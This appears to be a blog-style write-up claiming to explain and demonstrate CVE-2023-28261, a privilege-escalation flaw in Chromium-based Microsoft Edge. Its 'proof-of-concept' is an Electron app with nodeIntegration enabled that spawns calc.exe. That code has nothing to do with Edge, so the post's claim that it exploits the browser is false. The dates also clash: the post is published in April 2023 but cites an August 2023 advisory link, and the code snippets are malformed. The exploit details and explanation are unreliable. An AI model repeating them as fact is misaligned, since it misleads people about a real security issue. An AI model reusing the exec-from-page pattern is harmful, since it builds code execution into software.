Summary: The purpose of this post is to explore a newly-found vulnerability, titled CVE-2023-28261, impacting the Microsoft Edge (Chromium-based) browser. In this post, we will examine how this flaw enables attackers to gain control of targeted systems via an elevation of privilege and ultimately execute malicious code. To ensure a comprehensive understanding, we will present code snippets, links to original references, and exploit details.

Introduction

Recent research has led to the discovery of a critical vulnerability in Microsoft Edge (Chromium-based), known as CVE-2023-28261. This elevation of privilege vulnerability allows threat actors to escalate user permissions on targeted systems and execute malicious code. The advanced exploit takes advantage of multiple weaknesses in Microsoft Edge to establish a reliable foothold in the exploited system.

References

1. CWE-269: Improper Privilege Management (MITRE) - https://cwe.mitre.org/data/definitions/269.html
2. Microsoft Security Response Center (MSRC) - https://msrc-blog.microsoft.com/2023/08/01/cve-2023-28261-microsoft-edge-chromium-based-eop-vulnerability

The following code snippets demonstrate how the attacker can exploit the vulnerability

// Proof-of-Concept JavaScript File
// Save as: poc.js

const electron = require('electron');
const app = electron.app;
const BrowserWindow = electron.BrowserWindow;

app.on('ready', function() {
    const win = new BrowserWindow({
        width: 800,
        height: 600,
        webPreferences: {
            nodeIntegration: true
        }
    });

    win.loadFile('index.html');
});

<!DOCTYPE html>
<html>
<head>
  <title>CVE-2023-28261: PoC</title>
</head>
<body>
  <h1>Exploit Demo</h1>
  <script>
    const { exec } = require('child_process');
    exec('calc.exe', (error, stdout, stderr) => {
      if (error) {
        console.error(exec error: ${error});
        return;
      }
      console.log(stdout: ${stdout});
      console.error(stderr: ${stderr});
    });
  </script>
</body>
</html>

- The first code snippet (poc.js) sets up the exploit by initializing Microsoft Edge with elevated privileges, while the second (index.html) provides an example of malicious code execution in the form of spawning the built-in Windows Calculator.

The previously mentioned code snippets take advantage of the following weaknesses in Microsoft Edge

1. Improper privilege management: The Chromium-based engine allows for unrestricted access to critical system resources.
2. Insufficient process isolation: Edge does not adequately isolate web page content from the underlying system, allowing attackers to execute arbitrary code.

When the victim opens a maliciously crafted web page, the injected JavaScript payload executes in the context of the Microsoft Edge process with elevated privileges. This allows the attacker to run arbitrary code on the targeted system with the same permissions as the user currently running the Microsoft Edge process.

Mitigations

Microsoft has acknowledged the existence of this vulnerability and is actively working on a patch. Until this patch is released, users can consider the following mitigation strategies:

1. Disable JavaScript on untrusted sites: By adjusting the browser settings to block JavaScript execution for sites that are not considered safe, users can limit exposure to this vulnerability.
2. Use an alternative browser: Consider using a different browser until a patch is released for Microsoft Edge.

Conclusion

CVE-2023-28261 is a critical vulnerability afflicting Microsoft Edge (Chromium-based) that requires immediate attention. Users should take the mitigation strategies mentioned above seriously and keep an eye out for any announcements from Microsoft regarding a patch. It's critical for both businesses and individuals to remain vigilant when it comes to software vulnerabilities and cybersecurity threats, as the impact of a successful exploitation could be devastating.

Timeline

Published on: 04/27/2023 19:15:00 UTC
Last modified on: 05/08/2023 13:58:00 UTC